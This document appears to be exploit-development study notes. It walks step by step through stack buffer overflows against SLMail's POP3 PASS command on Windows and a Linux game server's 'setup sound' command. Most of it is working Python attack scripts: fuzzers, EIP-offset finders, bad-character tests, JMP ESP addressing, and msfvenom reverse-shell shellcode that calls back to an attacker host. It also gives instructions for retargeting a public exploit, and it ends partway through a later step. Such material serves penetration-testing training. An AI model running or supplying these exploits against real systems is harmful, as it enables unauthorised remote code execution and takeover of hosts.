Exploit Development

Windows Exploit Development

Fuzzing

Fuzzing involves sending malformed data into application input and watching for unexpected crashes, An unexpected crash indicates that the application might not filter certain input correctly. This could lead to discovering an exploitable vulnerability.

A crash would happen at 2700 bytes.

import socket,time

# Create an array of buffers, from 100 to 6000, with increments of 200.

crash = "\x41" * 100

while True:
   print "Fuzzing PASS with %s bytes" %	len(crash)
   s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   connect=s.connect(('192.168.100.19',110))
   s.recv(1024)
   s.send('USER username' +'\r\n')
   data = s.recv(1024)
   s.send('PASS ' + crash + '\r\n')
   data = s.recv(1024)
   s.close()
   time.sleep(2)
   crash = crash + "\x41" * 200

Control EIP address

# Sending unique address
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

# Determine EIP address
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438

# The location of EIP is 2606.
#!/usr/bin/python

import socket,time

buffer= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"

print "Fuzzing PASS with %s bytes" %	len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.100.19',110))
s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()

Allocating Space For Shellcode

On counting those C’s, we notice that we have a total of 90 of them, not enough to contain a 350-400 ­byte payload. One easy way out of this is simply to try to increase our buffer length from 2700 bytes to 3300 bytes, and see if this results in a larger buffer space for our shellcode.

import socket,time

buffer= "A" * 2606 + "B" * 4 + "C" * 90

print "Fuzzing PASS with %s bytes" %	len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.100.19',110))
s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()
import socket,time

buffer= "A" * 2606 + "B" * 4 + "C" * 690

print "Fuzzing PASS with %s bytes" %	len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.100.19',110))
s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()

Checking For Bad Characters

#!/usr/bin/python

import socket,time

badchars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

#"\x00\x0a" are the bad characters.

buffer= "A" * 2606 + "B" * 4 + badchars + "C" * (690 - len(badchars))

print "Fuzzing PASS with %s bytes" %	len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.100.19',110))
s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()

Jump To ESP Register

The most intuitive thing to do would be to try replacing the B’s that overwrite EIP with the address that pops up in the ESP register, at the time of the crash. However, as you should have noticed from the past few debugger restarts, the value of ESP changes, from crash to crash. Therefore, hardcoding a specific stack address would not provide a reliable way of getting to our buffer. This is because stack addresses change often.

# Use mona.py script
!mona modules

# Choose module that has no protection on it like SLMFC.dll

/usr/share/metasploit-framework/tools/nasm_shell.rb
jmp esp  ==  FFE4

# Then on mona.py script
!mona find -s "\xFF\xE4" -m SLMFC.dll

Generate Shellcode

import socket,time

# msfvenom -p windows/shell_reverse_tcp lhost=192.168.100.15 lport=4444 exitfunc=thread -f c -a x86 -b "\x00"

shellcode = (
"\xba\xc7\x1f\xbf\x73\xda\xc5\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x31\x50\x12\x83\xe8\xfc\x03\x97\x11\x5d\x86\xeb\xc6\x23"
"\x69\x13\x17\x44\xe3\xf6\x26\x44\x97\x73\x18\x74\xd3\xd1\x95"
"\xff\xb1\xc1\x2e\x8d\x1d\xe6\x87\x38\x78\xc9\x18\x10\xb8\x48"
"\x9b\x6b\xed\xaa\xa2\xa3\xe0\xab\xe3\xde\x09\xf9\xbc\x95\xbc"
"\xed\xc9\xe0\x7c\x86\x82\xe5\x04\x7b\x52\x07\x24\x2a\xe8\x5e"
"\xe6\xcd\x3d\xeb\xaf\xd5\x22\xd6\x66\x6e\x90\xac\x78\xa6\xe8"
"\x4d\xd6\x87\xc4\xbf\x26\xc0\xe3\x5f\x5d\x38\x10\xdd\x66\xff"
"\x6a\x39\xe2\x1b\xcc\xca\x54\xc7\xec\x1f\x02\x8c\xe3\xd4\x40"
"\xca\xe7\xeb\x85\x61\x13\x67\x28\xa5\x95\x33\x0f\x61\xfd\xe0"
"\x2e\x30\x5b\x46\x4e\x22\x04\x37\xea\x29\xa9\x2c\x87\x70\xa6"
"\x81\xaa\x8a\x36\x8e\xbd\xf9\x04\x11\x16\x95\x24\xda\xb0\x62"
"\x4a\xf1\x05\xfc\xb5\xfa\x75\xd5\x71\xae\x25\x4d\x53\xcf\xad"
"\x8d\x5c\x1a\x61\xdd\xf2\xf5\xc2\x8d\xb2\xa5\xaa\xc7\x3c\x99"
"\xcb\xe8\x96\xb2\x66\x13\x71\x7d\xde\x7f\x8e\x15\x1d\x7f\x81"
"\xb9\xa8\x99\xcb\x51\xfd\x32\x64\xcb\xa4\xc8\x15\x14\x73\xb5"
"\x16\x9e\x70\x4a\xd8\x57\xfc\x58\x8d\x97\x4b\x02\x18\xa7\x61"
"\x2a\xc6\x3a\xee\xaa\x81\x26\xb9\xfd\xc6\x99\xb0\x6b\xfb\x80"
"\x6a\x89\x06\x54\x54\x09\xdd\xa5\x5b\x90\x90\x92\x7f\x82\x6c"
"\x1a\xc4\xf6\x20\x4d\x92\xa0\x86\x27\x54\x1a\x51\x9b\x3e\xca"
"\x24\xd7\x80\x8c\x28\x32\x77\x70\x98\xeb\xce\x8f\x15\x7c\xc7"
"\xe8\x4b\x1c\x28\x23\xc8\x3c\xcb\xe1\x25\xd5\x52\x60\x84\xb8"
"\x64\x5f\xcb\xc4\xe6\x55\xb4\x32\xf6\x1c\xb1\x7f\xb0\xcd\xcb"
"\x10\x55\xf1\x78\x10\x7c")

buffer= "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 32 + shellcode

print "Fuzzing PASS with %s bytes" %	len(buffer)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.100.19',110))
s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()

Fix Public Exploit

cp /usr/share/exploitdb/exploits/windows/remote/643.c ~/.

1- Change return address to "\x8f\x35\x4a\x5f".
    #define retadd "\x8f\x35\x4a\x5f"

2- Change target IP -> 192.168.1.111.
    xs = conn("192.168.1.111");

3- Replace shellcode with your own reverse shell.
    char shellcode[] =

4- Change the buffer offsets.
    char *buffer = malloc(3000);
    memset(buffer, 0x00, 3000);
    memset(off, 0x41, 2606);
    memset(nop, 0x90, 13);

5- Compile the code
    gcc 643.c -o 643

Linux Exploit Development

Check Security Controls

https://github.com/slimm609/checksec.sh
checksec --file=/bin/ls

Fuzzing

Fuzzing involves sending malformed data into application input and watching for unexpected crashes, An unexpected crash indicates that the application might not filter certain input correctly. This could lead to discovering an exploitable vulnerability.

A crash would happen after 4200 bytes, then we will try every single byte after that crash. The winning byte is 4379.

import socket,time

host = "127.0.0.1"
crash = "\x41" * 100

while True:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "[*]Sending evil buffer..."
	s.connect((host, 13327))
	data = s.recv(1024)
	print data

	print "[*]Sending:", len(crash), "Bytes..."
	buffer = "\x11(setup sound " + crash + "\x90\x00#"
	s.send(buffer)
	s.close()
	print "[*]Payload Sent !"
	print "##############################"
	time.sleep(0.5)
	crash = crash + "\x41" * 200

Control EIP Address

# Sending unique address
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4379

# Determine EIP address
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 46367046

# The location of EIP is 4368.
import socket

host = "127.0.0.1"
crash = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp"

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

Allocating Space For Shellcode

At the time of the crash, we once again check any registers that may help us easily reach our buffer. In this case, the EAX register seems to point to the beginning of our buffer, including the setup sound string. The fact that EAX does not point directly into our buffer may impact our ability to simply jump to EAX, as we would be executing the opcode equivalent of the string "setup sound" before our shellcode, which would most probably mangle the execution path, and cause our exploit to fail.

Further examination of the actual opcodes produced by the "setup" string, it seems that the opcode instructions s and e (the two first letters of the word “setup”) translate to a "conditional jump" instruction, which seems to jump to a nearby location in our user controlled buffer. The next two letters of the word setup, t and u, translate to a slightly different conditional jump. All these jumps seem to be leading into our user controlled buffer. A jump to EAX might actually work for us in this case.

Continuing our analysis, it looks like the ESP register points toward the start of our C buffer, at the time of the crash, giving us only a few bytes of shellcode space to work with. Unlike the previous SLMail buffer overflow, increasing the buffer length of the "setup sound" string causes the application to crash differently.

However, all is not lost. We can still use the few bytes pointed at by the ESP register "7 bytes", during the crash, to create a first stage shellcode, which will move the EAX register to the beginning of the buffer of A’s, skipping over the string "setup sound".

To do this, our first stage shellcode would need to add 12 bytes to the EAX register, and then jump to EAX. Let’s see what the opcode for this first stage shellcode would be.

/usr/share/metasploit-framework/tools/nasm_shell.rb - add eax,12 == 83C00C - jmp eax == FFE0

Fortunately for us these two sets of instructions take up only 5 bytes of memory "\x83\xC0\x0C\xFF\xE0"

import socket

host = "127.0.0.1"
crash = "\x41" * 4368 + "B" * 4 + "C" * 7

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

Checking For Bad Characters

import socket

host = "127.0.0.1"

badchars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
